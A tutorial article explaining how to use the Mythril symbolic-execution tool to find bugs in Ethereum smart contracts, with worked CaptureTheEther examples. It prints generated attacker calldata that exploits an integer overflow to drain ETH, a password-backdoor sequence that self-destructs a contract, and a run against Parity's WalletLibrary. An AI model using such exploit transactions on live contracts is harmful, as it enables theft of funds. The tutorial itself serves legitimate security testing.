Practical smart contract security analysis and exploitation

Updated on July 6th, 2019 to reflect new command line syntax and features.

In this series of articles I explain how to use Mythril to find security bugs in Solidity Code and smart contracts deployed on the Ethereum network. I’ll cover basic principles and advanced techniques, such as verifying custom properties, analyzing multi-contract systems, detecting bugs in live contracts and auto-generating exploit payloads.

This article is the first in a series of articles that explain the core concepts you should be familiar with when using Mythril, and open source tool that’s best described as the “Swiss army knife of smart contract security”.

To users who have never used Mythril before we often recommend installing it as a fist step. You should do this also in case you to want follow the examples in this article (if run into trouble installing, you can ask for help in our Discord server). In a Python 3 environment it should usually be as easy as running:

$ pip install mythril

After successful installation the myth command line tool will be available on your system. Make sure you have version 0.21.7 or higher:

$ myth version
Mythril version v0.21.15

The basic command for executing security analysis is myth analyze:

$ myth analyze <Solidity file>
$ myth analyze -a <contract address>

Without any extra argument this will perform a generic analysis that works reasonably well in most situations. Before we get ahead of ourselves though, let’s have a look at what’s going on behind the scenes.

How Mythril Works

Mythril checks for security issues by running the smart contract bytecode in a custom implementation of the Ethereum Virtual Machine. It uses a technique called symbolic execution to explore possible program states. The analysis process involves the following steps:

1. Obtain the contract bytecode by compiling a Solidity file or loading it from an Ethereum node;
2. Initialize the contract account state either by running the creation bytecode (if source code was provided) or by retrieving data from an Ethereum node on-demand;
3. Symbolically execute the code to explore all possible program states over n transactions, whereby n defaults to two but can be set to an arbitrary number;
4. Whenever an undesirable states is encountered (such as “the contract is killed”), logically prove or disprove the reachability of those states given certain assumptions (e.g. “given the right inputs anybody can kill the contract“).

When find a vulnerable state, we can compute the input transactions required to reach that state. This is useful not only to determine the root cause of an issue, but also for crafting exploits should one be so inclined.

If you’d like to know more about how symbolic execution works, check out Joran Honig’s introductory article.

Basic Usage

With that out of the way, let’s try Mythril on a smart contract exploitation challenge from CaptureTheEther. TokenSale is a simple smart contract that allows users to buy and sell tokens for the once-in-a-lifetime bargain price of 1 ETH. Here is the source code.

Working with Solidity code is easier than working with on-chain contract instances: If you provide source code, Mythril can show you the the code location responsible for each bug it finds. Copy/paste the code into a file called tokensale.sol and run the following command (if you have solc 0.5.x installed you can compile this version of the code instead).

$ myth analyze -mether_thief tokensale.sol

Note the use of the -m argument which accepts a comma-separated list of analysis modules to execute. Let’s have a closer look at a particularly useful module called Ether Thief.

Stealing that precious ETH

As its name subtly foreshadows, the Ether Thief module checks for transaction sequences that extract ETH from the contract. Specifically, it looks for states that fulfill the following conditions:

1. A non-zero amount of ETH can be withdrawn from the contract;
2. The sender withdrawing the ETH is not the contract creator;
3. The amount of ETH withdrawn can be greater than the total amount previously paid into the contract by the same sender.

This is a nice way of of spotting contracts that “leak” ETH to anonymous attackers that doesn’t yield many false positives. Let’s now unleash this module on the TokenSale contract:

$ myth analyze -m ether_thief tokensale.sol
==== Unprotected Ether Withdrawal ====
SWC ID: 105
Severity: High
Contract: TokenSaleChallenge
Function name: sell(uint256)
PC address: 696
Estimated Gas Usage: 6373 - 27034
Anyone can withdraw ETH from the contract account.
Arbitrary senders other than the contract creator can withdraw ETH from the contract account without previously having sent an equivalent amount of ETH to it. This is likely to be a vulnerability.
--------------------
In file: tokensale.sol:25
msg.sender.transfer(numTokens * PRICE_PER_TOKEN)
--------------------
Transaction Sequence:
Caller: [CREATOR], data: [CONTRACT CREATION], value: 0xde0b6b3a7640000
Caller: [ATTACKER], data: 0xd96a094ab000000000000000000000000000000000000000000000000000000000000000, value: 0x0
Caller: [ATTACKER], data: 0xe4849b323000180504000000000300013b45000000380000000002c00000020400801080, value: 0x0

Myhril claims that to have found an issue in the withdrawal function but the root cause is not immediately apparent. If you haven’t spotted the bug yet, take another good look at the code and try to figure out the attack.

As you have probably deduced there’s an integer overflow issue at play here. To exploit the issue you need to pass a very specific value to the buy() function. Don’t fire up your calculator just yet though, there’s some good news: Mythril has computed the correct input transactions for you automagically. Take another look at the “transaction sequence` part of Mythril’s output:

Transaction Sequence:
Caller: [CREATOR], data: [CONTRACT CREATION], value: 0xde0b6b3a7640000
Caller: [ATTACKER], data: 0xd96a094a2000000000000000000000000000000000000000000000000000000000000000, value: 0x0
Caller: [ATTACKER], data: 0xe4849b323000180504000000000300013b45000000380000000002c00000020400801080, value: 0x0

This section lists three transaction: The contract creation transaction (sent by the creator) and the two transactions sent by the attacker. A look at the value fields shows that no ETH is transferred to the contract by the attacker. Let’s have a closer look at the calldata:

The first transaction contains the first four bytes of the function signature hash of buy(uint256 num_tokens) as well as an innocent-looking extra byte — 0x20 — which represents the leftmost byte of uint256 num_tokens (the remaining zeroes don’t have to be sent explicitly as the EVM will interpret uninitialized calldata as 0x00). The value passed to num_tokens works out to:

buy(0x2000000000000000000000000000000000000000000000000000000000000000)

Let’s look at the effect this input has on the require statement on line 16:

require(msg.value == numTokens * PRICE_PER_TOKEN);

PRICE_PER_TOKEN is set to 1 Ether which corresponds to 1e18 wei. As it turns out, multiplying this amount with the value Mythril has computed for numTokens results in an integer overflow. More specifically, the result of the binary multiplication uint256(1e18) * uint256(numTokens) is zero — note that there are other input values that could be used here.

The require statement therefore passes and a large amount of tokens is credited on the sender’s account even though they’re not sending any ETH.

In transaction two, the illegitimate tokens are then sold in return for ETH (call to sell(uint256)). Because Mythril represents the contract balance symbolically it outputs a large random value for numTokens. In reality, the attacker would use a lower value corresponding to the actual number of ETH in the account.

If you haven’t done so already, now is the time to fire up Metamask and give the challenge a shot.

Configuring transaction count

An important concept to know when using Mythril is transaction count. This variable specifies the number of transactions to be executed symbolically. The default value of two is sufficient for detecting many common bugs such as the integer overflows, uninitialized storage variables and misnamed constructors. However, a search that goes two transactions deep will not discover bugs that need three or more transactions to reach.

Because each transaction can have multiple valid final states, the space of states to explore grows exponentially with the number of transactions — at least in theory. Fortunately, Mythril is smart about processing multiple transactions: By analyzing how program paths relate to each other in tems of reading and writing state variables it narrows down the search space for subsequent transactions. This means that you can usually run multiple transactions within a reasonable timeframe.

To demonstrate this let’s have a look at another example. See if you can spot the security issue (beware of spoilers in the contract name):

This contract has a “backdoor” that allows anyone knowing the secret password to become the owner (but as we know, private state variables aren’t really secret — the only difference is that the solc doesn’t generate an accessor function for them).

Another popular Mythril module is Suicide. This module checks for transactions that, if sent by anyone other than the contract creator, will “accidentally” kill the contract. Running Mythril on the code above returns the following output (source code):

$ myth analyze killme.sol
The analysis was completed successfully. No issues were detected.

Mythril appears to overlook the vulnerability. The reason for this is that a minimum of three transactions is needed to kill the contract: The sender must provide the correct password to activatePassword(bytes11 password), call pwnContract() to become the owner, and finally call kill() to trigger the suicide.

Let’s see what happens if we increase the number of transactions executed using the -t argument:

$ myth analyze killme.sol -t3
==== Unprotected Selfdestruct ====
SWC ID: 106
Severity: High
Contract: Killme
Function name: kill()
PC address: 371
Estimated Gas Usage: 613 - 1038
The contract can be killed by anyone.
Anyone can kill this contract and withdraw its balance to an arbitrary address.
--------------------
In file: killme.sol:19
selfdestruct(msg.sender)
--------------------
Transaction Sequence:
Caller: [CREATOR], data: [CONTRACT CREATION], value: 0x0
Caller: [ATTACKER], data: 0xa6e0e35e63727970746f6b69747479747474747474747474747474747474747474747474, value: 0x0
Caller: [ATTACKER], data: 0x2eb00c1b, value: 0x0
Caller: [ATTACKER], data: 0x41c0e1b5, value: 0x0

This time the issue was detected and we get a sequence of three transactions. Inspecting the calldata more closely reveals the names and arguments of the functions being called:

Note: The byte sequence 0x747474(…) in transaction 1 is random data for padding the uint256 argument — this part of the call data can have any value.

Execution Timeout

By default, Mythril will attempt to fully execute the number of transactions configured with the -t argument. However, sometimes it’s desirable to set a bound on the execution time. If you add the --execution-timeout argument, Mythril will still attempt to fully execute all transactions but terminate if the timeout, and return all issues discovered up to that point.

Note that you can always interrupt the analysis with CTRL+ C, in which case Mythril will aso return all vulnerabilities found so far. For example, you could run Mythril on Parity’s WalletLibrary for 10 minutes:

$ myth analyze --execution-timeout 600 -t2 -mether_thief,suicide -c [WALLETLIBRARY-BYTECOE]
==== Unprotected Ether Withdrawal ====
SWC ID: 105
Severity: High
Contract: MAIN
Function name: execute(address,uint256,bytes)
PC address: 4384
Estimated Gas Usage: 9518 - 32483
Anyone can withdraw ETH from the contract account.
Arbitrary senders other than the contract creator can withdraw ETH from the contract account without previously having sent an equivalent amount of ETH to it. This is likely to be a vulnerability.
--------------------
Transaction Sequence:
Caller: [CREATOR], data: [CONTRACT CREATION], value: 0x0
Caller: [ATTACKER], data: 0xe46dcfeb4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080, value: 0x0
Caller: [ATTACKER], data: 0xb61d27f6000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeefdeadbeef000000000000000000010000000000000000000000000000000000000000000108, value: 0x0
real    10m3.260s
user    9m11.115s
sys     0m7.727s

TL;DR

Mythril’s Ether Thief and Suicide modules detect security bugs that allow attackers to steal from, and even kill, poor innocent smart contracts. Mythril also produces the output the input transaction(s) needed to trigger each bug detected. Increasing transaction count helps Mythril detect more bugs but also increases execution time exponentially.

About Mythril and MythX

Mythril is a free and open-source smart contract security analyzer. It uses symbolic execution to detect a variety of security vulnerabilities.

MythX is a cloud-based smart contract security service that seamlessly integrates into smart contract development environments and build pipelines. It bundles multiple bleeding-edge security analysis processes into an easy-to-use API that allows anyone to create purpose-built smart contract security tools. MythX is compatible with Ethereum, Tron, Vechain, Quorum, Roostock and other EVM-based platforms.